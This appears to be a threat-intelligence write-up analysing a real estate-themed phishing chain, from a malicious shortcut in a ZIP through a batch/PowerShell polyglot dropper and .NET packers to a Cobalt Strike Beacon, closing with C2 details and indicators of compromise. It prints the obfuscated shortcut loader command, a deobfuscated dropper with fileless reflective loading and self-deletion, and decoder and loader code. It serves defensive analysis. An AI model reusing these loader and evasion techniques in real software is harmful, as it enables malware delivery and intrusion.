Unpacking a Multi-Stage Loader: From Embedded Payloads to Cobalt Strike Beacon
During routine monitoring, Threatcat’s anomaly detection identified an interesting file hosted on SwissTransfer at the end of July 2026. The file was flagged as anomalous and subsequently investigated in more detail. The associated URLScan result is available here.
Our analysis focuses on the loader/dropper and its unpacking mechanism. The objective is to understand how the file is delivered, executed, and unpacked.
Stage 0 - Malicious Windows Shortcut
This is the Swisstransfer metadata at the time of the initial retrieval on Mon, 27 Jul 2026 13:21:50 GMT. The download is set to expire after a week and has a download limit of 20. It is named London Appartment with the file name photos.zip:
{
"result": "success",
"data": {
"linkUUID": "8e25d3b7-d334-42f0-a563-57a02d91786b",
"containerUUID": "2a297907-10e1-4663-8d51-8f2a6bb7c539",
"downloadCounterCredit": 18,
"createdDate": "2026-07-24T09:19:50+02:00",
"expiredDate": "2026-07-31T09:19:50+02:00",
"isDownloadOnetime": 1,
"isMailSent": 1,
"downloadHost": "dl-x8tbdpiz.swisstransfer.com",
"container": {
"UUID": "2a297907-10e1-4663-8d51-8f2a6bb7c539",
"duration": 7,
"createdDate": "2026-07-24T09:19:50+02:00",
"expiredDate": "2026-07-31T09:19:50+02:00",
"numberOfFile": 1,
"message": "London Apartment",
"needPassword": 0,
"lang": "en_GB",
"sizeUploaded": 525245,
"deletedDate": null,
"swiftVersion": 12,
"downloadLimit": 20,
"source": "ST",
"WSUser": null,
"files": [
{
"containerUUID": "2a297907-10e1-4663-8d51-8f2a6bb7c539",
"UUID": "6ebc5a6e-a329-4aa0-85c4-8af491857cfc",
"fileName": "photos.zip",
"fileSizeInBytes": 525245,
"downloadCounter": 2,
"createdDate": "2026-07-24T09:19:56+02:00",
"expiredDate": "2026-07-31T09:19:55+02:00",
"eVirus": "NOT_VIRUS_CHECKED",
"deletedDate": null,
"mimeType": "application/zip",
"receivedSizeInBytes": 525245,
"path": null
}
]
}
}
}
The Shortcut
The ZIP file photos.zip contains a Windows shortcut called example_photos.lnk with the following target:
C:\Windows\system32\conhost.EXE --headless %comspec% /v /c set k=%cd%\example_photos.lnk&set f=r&set k=""""!k!""""&set k=!k:~1,-2!!k:~-1!&(if not exist "!k!" (for /f delims^=^ eol^= %g in ('whe^!f!e /R "%temp%" "example_photos.ln?"') do @set k=%g)>nul 2>&1)&cd /d !localappdata!&(for /f delims^=:^ eol^= %o in ('findst!f! /o "REM" "!k!"') do (@set /a c=%o+4&cu!f!l -C !c! -so "huwb.txt" "file://!k!"&ta!f! -mxf "huwb.txt"&del "huwb.txt"&huwb))>nul 2>&1
Deobfuscated it becomes:
:: Launched hidden via: conhost.exe --headless cmd /v:on /c "<this script>"
set lnkpath=%cd%\example_photos.lnk
if not exist "%lnkpath%" (
for /f "delims=" %%g in ('where /R "%temp%" "example_photos.ln?"') do (
set lnkpath=%%g
)
)
cd /d "%localappdata%"
for /f "delims=:" %%o in ('findstr /o "REM" "%lnkpath%"') do (
set /a offset=%%o+4
curl -C !offset! -so "huwb.txt" "file://%lnkpath%"
tar -mxf "huwb.txt"
del "huwb.txt"
huwb
)
This script is a loader that hides a payload inside what looks like an innocuous shortcut file. It first locates itself by name. It then changes into %LOCALAPPDATA% and uses findstr /o "REM" to find the byte offset of a REM marker string inside the shortcut file; This belongs to a malware pattern security researchers have been tracking for a while: shortcut (.lnk) files that carry a second payload hidden past the end of the file structure Windows actually reads:
REM markerThe script adds 4 to that offset (to skip past the marker text itself) and then abuses curl’s --continue-at (resume-download) option against a file://-URL pointing at the same shortcut file, effectively using curl as a byte-range extractor to pull out everything after that offset, rather than the network download this flag is meant for. That extracted data is saved as huwb.txt, which is then treated as a tar archive and extracted with tar --extract
The intermediate file is then deleted to reduce forensic traces, and the extracted binary (huwb) is executed directly.
See this SANS ISC diary for more information about this technique.
Stage 1 - Polyglot Dropper
The batch file huwb is a ~700 KB Batch/PowerShell polyglot dropper. It contains two enormous Base64 blobs: a decoy PDF and a gzip-compressed .NET assembly. It uses a classic batch/PowerShell polyglot trick (a block that is simultaneously a valid cmd.exe no-op and a valid PowerShell block comment) so a single file can be executed first by cmd.exe and then re-parsed and executed by powershell.exe. String-splitting (powe%h%shell, ${e}/${o}/${v} fragments) is used throughout to keep the words “powershell”, “System”, “Reflection”, “Assembly”, etc. out of plain sight for naive string/signature scanners.
Here is a deobfuscated and annotated version (split into four code blocks for syntax highlighting purposes, but it is all one file):
<# : batch script
@echo off
SET "scriptPath=%~f0"
:: Pull the embedded decoy-PDF Base64 line out of this very file
findstr /b /l /C:"JVBERi0xLjMKJZOMi54gUmVwb" "%scriptPath%" >> "%temp%\dh.bin"
CALL :extract_and_launch_decoy
SET "scriptPath=%~f0"
IF NOT "%~1"=="" (SET "CONSOLE_ARGUMENTS=%*")
setlocal
cd %~dp0
:: Re-read this whole file as text and pipe it into a fresh PowerShell
:: process, which (thanks to the <# ... #> wrapper) skips the batch
:: portion and runs the PowerShell payload below.
powershell "[System.IO.File]::ReadAllText('%scriptPath%') | powershell -Command -"
endlocal
goto :cleanup_and_exit
#>
# ---- PowerShell payload (parsed only when the file is piped into powershell -Command -) ----
# GZip-compressed .NET assembly, header bytes intentionally corrupted below
$compressed = [Convert]::FromBase64String("<snip>")
# Repair the GZip magic header (0x1F 0x8B) that was stripped from the blob
$compressed[0] = 0x1f
$compressed[1] = 0x8b
$memStreamType = [Type].Module.GetType("System.IO.MemoryStream")
$inputStream = $memStreamType::new($compressed)
$outputStream = $memStreamType::new()
$assemblyType = [Type].Module.GetType("System.Reflection.Assembly")
$mscorlib = $assemblyType.GetMethod("Load", [string]).Invoke(
$null,
"System, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
)
$gzipStream = $mscorlib.GetType("System.IO.Compression.GZipStream")::new(
$inputStream,
$mscorlib.GetType("System.IO.Compression.CompressionMode").GetField("Decompress").GetValue($null)
)
# Decompress fully into memory
$buffer = New-Object byte[] 1024
for ($read = $gzipStream.Read($buffer, 0, $buffer.Length); $read -gt 0; $read = $gzipStream.Read($buffer, 0, $buffer.Length)) {
$outputStream.Write($buffer, 0, $read)
}
$gzipStream.Dispose()
$assemblyBytes = $outputStream.ToArray()
$outputStream.Dispose()
# Reflectively load the decompressed .NET assembly straight from memory
$loadedAssembly = $mscorlib.GetMethod("Load", [Type[]](, [byte[]])).Invoke($null, (, [byte[]]$assemblyBytes))
# Find its entry point and instantiate the declaring type -> runs the payload
$entryPoint = $loadedAssembly.GetType().GetProperty("EntryPoint").GetValue($loadedAssembly, $null)
$null = [Type].Module.GetType("System.Activator").GetMethod("CreateInstance", [Type].GetType()).Invoke(
$null,
(, [Type]$entryPoint.DeclaringType)
)
Exit
:cleanup_and_exit
:: Self-delete trick: deletes the running batch file, then falls through to EOF
(goto) 2>nul & del "%~f0"
:extract_and_launch_decoy
set "tmp=%temp%"
ren "%tmp%\dh.bin" dh.txt
:: Strip any non-Base64 characters, decode, and drop the real PDF to disk
powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command ^
"$b64 = Get-Content -Raw '%tmp%\dh.txt'; ^
$b64 = -join ($b64 -split '[^A-Za-z0-9+/=]'); ^
[IO.File]::WriteAllBytes('%tmp%\cert.crt', [Convert]::FromBase64String($b64))" 1>nul 2>nul
del "%tmp%\dh.txt"
ren "%tmp%\cert.crt" "dhmzufa.pdf"
:: Open the decoy PDF to distract the victim while the payload runs
start /b "" explorer.exe "%tmp%\dhmzufa.pdf"
EXIT /B 0
# ---- Trailing data: the decoy PDF, embedded as a single Base64 line ----
# (this is what `findstr` above grabs; PowerShell never reaches this line
# because the payload calls Exit first)
<snip>
What it does:
- Self-read: the script stores its own full path in
%go%. - Extract the decoy:
findstrscans the script file itself for the line that starts with the PDF’s Base64 signature (JVBERi0xLjMK..., i.e.%PDF-1.3) and copies that entire line into%temp%\dh.bin. This works because the decoy PDF is embedded as raw Base64 text sitting at the very end of the file. - Decode & launch the decoy: a helper routine renames the file to
.txt, uses PowerShell to strip anything that isn’t a Base64 character and decode it to%temp%\cert.crt, renames that todhmzufa.pdf, and opens it withexplorer.exe. This is pure social engineering — a real, embedded-image PDF pops open to distract the victim while the real payload runs in the background. Decoding the embedded PDF’s image stream shows exactly what the victim sees: a one-page “Sample Luxury London Apartment” property brochure/photo collage — consistent with a rental/real-estate lure (see screenshot below). - Re-execute itself as a PowerShell script: it runs
[System.IO.File]::ReadAllText('<self>') | powershell -Command -, i.e. it pipes its own full source into a second PowerShell process. Because the top of the file is wrapped in<# ... #>, PowerShell treats the batch section as a comment and skips straight to the PowerShell payload. - In-memory .NET loader (the PowerShell payload):
- Base64-decodes a large blob into
$d, then patches$d[0]/$d[1]to0x1f/0x8b— the GZip magic bytes. (The embedded blob has its GZip header bytes deliberately corrupted/stripped and is repaired at runtime — another anti-signature trick.) - Decompresses that GZip stream in memory into a byte array.
- Loads the byte array as a .NET assembly via
Assembly.Load(byte[])— no file ever touches disk. - Resolves the assembly’s entry point and invokes it via
Activator.CreateInstance, effectively running the embedded .NET payload fully in memory. - All the
System.*/Reflection/Assemblytype names are built via string interpolation of single-character variables (${e},${o},${v}) purely to dodge static string matches.
- Base64-decodes a large blob into
- Cleanup: back in the batch portion, the script deletes itself (
del "%~f0") after launching the decoy, leaving no artifact behind except the decoy PDF and whatever the in-memory .NET payload does.
In short: it’s a dropper. A decoy PDF for the user and a fileless reflective .NET packer for the real payload. The .NET payload’s assembly itself was not decompiled/analyzed here (that’s out of scope for this static/structural writeup), so its ultimate purpose (RAT, stealer, etc.) is unknown from this pass alone.
The decoy document
Extracting and decompressing the embedded PDF’s image stream (ASCII85Decode + DCTDecode, i.e. a plain JPEG wrapped in a one-page PDF) reveals the actual lure shown to the victim:
A generic “Sample Luxury London Apartment” stock-photo collage — the kind of bait used in rental/real-estate phishing lures, where the victim is told to open an “apartment listing” or “viewing details” attachment.
Stage 2 - .NET Packer
The next stage is a small .NET packer whose relevant behavior is concentrated in
Producer.Participant. It reads an embedded resource, restores the next .NET assembly, and
executes it without writing the unpacked payload to disk.
Unpacking the embedded assembly
The resource name is itself hidden by the stub’s string-permutation routine:
Run.Administrator("aDta", 149) resolves to Data. The bytes in that resource are then passed
through two layers:
Deliver.Schoolapplies a rolling XOR decoder seeded withProducer.Considerable(185, or0xB9). Each decoded byte contributes to the key for the following byte.Super.Knowledgepasses the decoded result throughGZipStream, producing the next .NET assembly.
The essential decoder is:
public static byte[] School(byte[] input, byte seed)
{
byte[] output = new byte[input.Length];
for (int i = 0; i < input.Length; i++)
output[i] = (byte)(input[i] ^ (seed + (i > 0 ? output[i - 1] : 0)));
return output;
}
In practical unpacking terms, the recipe is:
Data resource -> rolling XOR (seed 0xB9) -> GZip decompress -> .NET assembly
At this point the decompressed bytes can be saved as a separate sample for static analysis. In normal execution, however, the loader keeps them in memory.
Loading the next stage
The remainder of Producer.Participant uses reflection to load and start the recovered assembly:
public static int Participant(string[] args)
{
using var ms = new MemoryStream();
var res = Assembly.GetExecutingAssembly()
.GetManifestResourceStream(Run.Administrator("aDta", 149));
res.CopyTo(ms);
byte[] payload = Super.Knowledge(Deliver.School(ms.ToArray(), Producer.Considerable));
object asm = typeof(Assembly).GetMethod(Run.Administrator("aoLd", 150), new[] { typeof(byte[]) })
.Invoke(null, new object[] { payload });
var entry = (MethodInfo)asm.GetType()
.GetProperty(Run.Administrator("yrintEtPon", 37))
.GetValue(asm, null);
object[] callArgs = entry.GetParameters().Length != 0 ? new object[] { args } : null;
return (int?)entry.Invoke(null, callArgs) ?? 0;
}
The strings aoLd and yrintEtPon decode to Load and EntryPoint. This results in
Assembly.Load(byte[]) followed by reflective invocation of the recovered assembly’s entry
point. If that method accepts parameters, the original argument array is forwarded to it.
This completes the .NET unpacking layer. The assembly recovered from Data is the input to
Stage 2.
Stage 3 - .NET shellcode loader
The assembly recovered in Stage 1 is another in-memory loader. Its entry point,
Explode.Avoid, extracts the embedded Data64 resource and turns it into executable x64
shellcode. Although the loader also checks for Data32, this sample only contains Data64.
Unpacking Data64
The resource is protected with the same two-layer pattern as the previous stage:
Intervention.Size(data, 59)applies a chained XOR decoder using59(0x3B) as the initial key. Each decoded byte affects the key used for the next byte.Area.AccountGZip-decompresses the decoded buffer. A successful XOR pass restores the GZip header1F 8B 08.
The decoder can be expressed as:
public static byte[] Decode(byte[] input)
{
byte[] output = new byte[input.Length];
for (int i = 0; i < input.Length; i++)
output[i] = (byte)(input[i] ^ (0x3B + (i > 0 ? output[i - 1] : 0)));
return output;
}
The complete unpacking recipe is therefore:
Data64 resource -> chained XOR (seed 0x3B) -> GZip decompress -> raw x64 shellcode
The recovered buffer is 308,676 bytes with SHA-256
c34e1d12704ba68bce8476415202d529c4239f5b8c81a6dab2271c66d8f12208. It is raw
position-independent code rather than a PE: it has no MZ or embedded PE\0\0 signature.
This distinction matters when importing it into a disassembler: load it as a raw x64 binary at
base address 0, not as a Windows executable.
Loading the shellcode
After decompression, Explode.Avoid executes the recovered buffer inside the current process:
- Allocate unmanaged memory with
Marshal.AllocHGlobal. - Copy the shellcode into that allocation with
Marshal.Copy. - Resolve
VirtualProtectfromkernel32.dlland change the region toPAGE_EXECUTE_READWRITE(0x40). - Convert the buffer address to a
delegate int()withMarshal.GetDelegateForFunctionPointerand invoke it. - Free the allocation with
Marshal.FreeHGlobalafter the shellcode returns.
The loader obscures these calls with encrypted strings, DynamicMethod wrappers, and manual PE
export parsing, but those layers do not change the unpacking procedure. There is no remote-process
injection at this stage: execution transfers directly from the .NET loader to the unpacked buffer.
That buffer is the PrependLoader examined in Stage 3.
Stage 4 - PrependLoader
The raw x64 shellcode recovered in Stage 2 is the Cobalt Strike’s built-in PrependLoader. It uses a nested XOR/RC4/LZNT1 transformation pipeline, EAF and indirect-syscall mechanisms, Beacon-specific initialization interface, and drip-loading implementation. Published Fortra documentation describes the same combination of capabilities.
Three nested transformations
The loader unwraps the embedded payload in three steps:
- Repeating-key XOR with a 64-byte key.
- RC4 decryption with a 128-byte key.
- LZNT1 decompression, revealing a 64-bit Beacon DLL.
The keys are embedded in the package, so these layers conceal the payload rather than prevent its recovery. The DLL remains internally obfuscated: its PE signatures are replaced with QY and ##, while section names, import names, and code use a separate four-byte XOR key.
Evasion and in-memory loading
The loader resolves Windows APIs by hash and combines three evasion mechanisms:
- EAF bypass: export-table reads use a memory-read gadget in a Windows system library.
- Indirect syscalls: sensitive operations can enter the kernel through a syscall instruction in a system library, bypassing hooks at API entry points.
- Drip loading: allocation, copying, and protection changes are spread across smaller chunks with 110 ms delays.
These techniques aim to reduce detection opportunities; they do not guarantee invisibility.
The DLL is mapped into the current process, without writing an intermediate payload to disk or injecting it into a remote process. The loader decodes the code, resolves imports, applies relocations, and changes the code’s memory protection from writable to executable. It reads the modified PE headers directly rather than restoring their signatures, then clears identifying header fields in the mapped image.
Finally, it supplies Beacon’s runtime metadata, initializes the DLL, and enters its communications loop.
We believe this stage is PrependLoader, see Fortra’s 4.11 release article for an introduction of the prepend-style loader, EAF bypass, indirect syscalls, and transformations, which the PE and Memory Indicators guide also documents. According to the Cobalt Strike release notes, the reflective-loader drip loading was added in 4.12.
White Knight Labs’ profile research, Part 2 demonstrates a similar transformation configuration, but also includes Base64, which this sample does not use.
Stage 5 - Cobalt Strike Beacon
The final payload is a 64-bit Cobalt Strike Beacon DLL, with configuration evidence pointing to Cobalt Strike 4.13 or later. It is configured for HTTPS command-and-control traffic, sleep masking, and subsequent process injection.
Version assessment
The strongest version clue is SETTING_CHECKIN_DELAY (setting ID 91), set to 15000 in the supplied configuration. Fox-IT’s parser definitions identify this setting as introduced in Cobalt Strike 4.13. The process-injection drip-loading settings, SETTING_PROCINJ_DRIP_LOAD and SETTING_PROCINJ_DRIP_LOAD_DELAY (IDs 88 and 89), were introduced in 4.12 and provide an additional lower bound.
The loader’s user-data structure carries version 0x041200, identifying the 4.12 loader interface, not necessarily the Beacon release. A later Beacon can retain that interface, so it does not outweigh the newer configuration setting. Assuming the supplied configuration belongs to this recovered Beacon and uses the stock schema, 4.13 or later is the best-supported assessment. An exact release or build remains unconfirmed; a modified build is also possible.
Extracting the configuration
The supplied configuration was extracted with Fox-IT’s dissect.cobaltstrike. To parse the recovered Beacon offline with uv:
git clone https://github.com/fox-it/dissect.cobaltstrike.git
cd dissect.cobaltstrike
uv run beacon-dump 6b29cdb02fb353e47df7a92e7efbad40ae45fd9dc2648b1fb85ab8ecd8716bb0
The filename must be available from the parser’s working directory, or replaced with its actual path. Parsing does not execute Beacon or contact the C2 server.
Key configuration findings
C2 endpoint = HTTPS on port 443
Beacon is configured to contact d3qx7quq68rdce.cloudfront.net:443. This is a sample-specific hostname; use of CloudFront alone does not establish domain fronting.
Task retrieval = GET /css3/index2.shtml
GET requests carry Base64URL-encoded metadata in the accept query parameter.
Output submission = POST /tools/family.html
The Beacon ID is Base64-encoded and sent in Cookie: token=.... Output is Base64URL-encoded and placed in the request body as input=....
Task recovery = Base64 decoding
Beacon’s response-recovery program Base64-decodes task data from the HTTP response body. This encoding wraps the C2 data; it is not encryption.
Browser disguise = Chrome 150 / Windows 10
The User-Agent and browser-like headers make requests resemble ordinary web traffic. They do not establish which browser or operating system is actually installed.
Timing = 30-second sleep, 33% jitter
The nominal sleep interval is 30 seconds, with 33% jitter to vary the communication cadence. A separate SETTING_CHECKIN_DELAY value of 15000 configures a 15-second check-in delay; its precise scheduling behavior was not verified in the recovered code.
Kill date = 8 July 2027
This is the configured expiry date, not evidence of activity through that date.
Injection = VirtualAllocEx, 110 ms drip-load delay
The configuration selects VirtualAllocEx and a transition from writable (PAGE_READWRITE) to executable (PAGE_EXECUTE_READ) memory, with drip loading enabled and a 110 ms delay. These are preferences for later injection operations, separate from PrependLoader’s initial local mapping.
Execution methods = thread-context manipulation and thread creation
The configured methods are ObfSetThreadContext, CreateThread, and SetThreadContext, including spoofed thread-start-address options. This list describes available execution methods, not evidence that they were used.
Sacrificial process = wmiprvse.exe -Embedding
Architecture-specific Windows paths select this command for applicable post-exploitation jobs. Its presence does not establish WMI-based lateral movement.
Memory evasion = sleep masking and indirect syscalls
Both features are enabled, while no BeaconGate APIs are selected. These are configured evasion features, not observed task execution.
Watermark = 1575371859
The watermark is useful for comparison across samples, but insufficient for operator attribution.
Public-key fingerprint = SHA-256
The parser renders the stored public-key data as the following SHA-256 fingerprint, useful for clustering related configurations:
7451c2a9fbbf82eacb1582eaa009fea6d8ae5a7b37602efbee492bae81492eb0
Illustration of the full Chain
The following graphic illustrates the unpacking in the four stages:
Indicators of Compromise
| Type | IOC | Comment |
|---|---|---|
| url | https[:]//www[.]swisstransfer[.]com/d/8e25d3b7-d334-42f0-a563-57a02d91786b |
The SwissTransfer link |
| domain | d3qx7quq68rdce[.]cloudfront[.]net |
C2 domain |
| url | hxxps[:]//d3qx7quq68rdce[.]cloudfront[.]net/css3/index2.shtml |
Task Retrieval |
| url | hxxps[:]//d3qx7quq68rdce[.]cloudfront[.]net/tools/family.shtml |
Output Submission |
| md5 | 758f7be58a27713e1433ea95c7a11288 |
The Polyglot Dropper |
| sha1 | 0ea8aeb8f89548d772e59dcef78734eddfe2beca |
The Polyglot Dropper |
| sha256 | 375690e52f145963cf5c98611773b24f491b8dcbf44573c83b340d15ea20acae |
The Polyglot Dropper |
| md5 | ec848debc47ecaf91def4df5991baa63 |
PrependLoader |
| sha1 | 5050ae6ba19bf93b325a4f8742a4056ddb153160 |
PrependLoader |
| sha256 | c34e1d12704ba68bce8476415202d529c4239f5b8c81a6dab2271c66d8f12208 |
PrependLoader |
| md5 | 3e2a61f5be3960350f7c25923a4a3f5f |
CobaltStrike Beacon |
| sha1 | c3b100ecb27a0921344616ec00c458dc6d69481f |
CobaltStrike Beacon |
| sha256 | 6b29cdb02fb353e47df7a92e7efbad40ae45fd9dc2648b1fb85ab8ecd8716bb0 |
CobaltStrike Beacon |